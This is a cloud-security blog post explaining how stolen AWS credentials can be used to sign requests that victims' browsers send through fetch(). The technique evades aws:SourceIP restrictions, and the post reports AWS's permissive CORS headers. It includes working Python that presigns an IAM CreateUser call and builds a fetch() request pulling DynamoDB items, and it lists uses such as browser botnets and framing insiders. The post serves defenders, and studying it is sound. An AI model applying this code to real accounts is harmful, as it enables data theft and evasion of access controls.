Don't trust aws:SourceIP!

I’ll break your data perimeter with one neat trick.

One of my favorite talks from fwd:CloudSec this year was Jarom Brown’s AWS Presigned URLs: The Good, The Bad, and the Ugly (abstract). In his talk, Jarom demonstrates a way to use javascript within an unsuspecting user’s browser to make requests to AWS. Because most AWS services provide their APIs over HTTP, he was able to use standard browser-side facilities (e.g. XMLHTTPRequest, fetch()) to synthesize requests to AWS, and then exfiltrate their responses to a server he controlled. This is most relevant in a post-compromise context, where an attacker has access to a victim’s AWS keys, and gives the attacker lots of leeway for disguising or changing the source IP address presented to AWS.

The first question on my mind was “I thought CORS was supposed to stop this. Why didn’t it?”. It looks like the answer is that most AWS services are very happy to send an Access-Control-Allow-Origin: * header. For instance, I used the program below to sign a GET to iam:CreateUser

from botocore.awsrequest import AWSRequest
from botocore.session import Session
from botocore.auth import SigV4QueryAuth

service = "iam"
region = "us-east-1"

session = Session()
credentials = session.get_component(
    "credential_provider"
).load_credentials()
auth = SigV4QueryAuth(credentials, service, region, expires=30)

method = "GET"

synthetic_request = AWSRequest(
    method=method,
    url="https://iam.amazonaws.com/",
    data={"Action": "CreateUser", "UserName": "Mallory", "Version": "2010-05-08"},
)
auth.add_auth(synthetic_request)

In response, AWS:

  1. created an IAM user in my account (on a GET!)
  2. sent back an Access-Control-Allow-Origin: * header.
  3. didn’t honor the value of X-Amz-Expires, in contravention of the published docs.

I don’t know exactly which services in AWS are susceptible to this technique, but I imagine it is many of them. The service that appears to do this right is S3, which allows the owner of a bucket to specify which Origin headers should be allowed or disallowed.

Now, none of this “breaks” the AWS authentication model. In all cases, someone with access to my credentials signed a valid request to an AWS service, which that service then faithfully executed. But it does open up a lot of options for attackers to use post-compromise. You can:

  1. cloak yourself by routing some or all attack traffic via innocent third parties (e.g. with a browser-based botnet)
  2. frame an innocent insider by having their browser perform an exfiltration
  3. evade a defender’s aws:SourceIP restrictions by exfiltrating their data through their users’ own browsers.

Using the snippet below, I generated a fetch() compatible request that exfiltrates data from a DynamoDB table:

import json

from botocore.awsrequest import AWSRequest
from botocore.session import Session
from botocore.auth import SigV4Auth

service = "dynamodb"
region = "us-east-1"

session = Session()
credentials = session.get_component("credential_provider").load_credentials()
auth = SigV4Auth(credentials, service, region)

method = "POST"

synthetic_request = AWSRequest(
    method=method,
    url="https://dynamodb.us-east-1.amazonaws.com/",
    headers={
        "Content-Type": "application/x-amz-json-1.0",
        "X-Amz-Target": "DynamoDB_20120810.GetItem",
    },
    data=json.dumps({"TableName": "thread", "Key": {"ForumName": {"S": "blah"}}}),
)
auth.add_auth(synthetic_request)

print(
    "fetch({}, {})".format(
        json.dumps(synthetic_request.url),
        json.dumps(
            dict(
                method=synthetic_request.method,
                headers=dict(synthetic_request.headers),
                body=synthetic_request.data,
            )
        ),
    )
)

As a defender, I looked for ways to detect or prevent such techniques, and came up short. The fetch() API allows the attacker to manipulate the User-Agent header, so a Cloudtrail detection on based on userAgent won’t work. I think the right move would be to validate requests based on how they were signed (e.g. Authorization header or X-Amz-Header query string), request method (e.g. POST or PUT, not GET), and (most importantly) the Origin HTTP header. But I don’t think that IAM policy provides condition context keys for any of the above.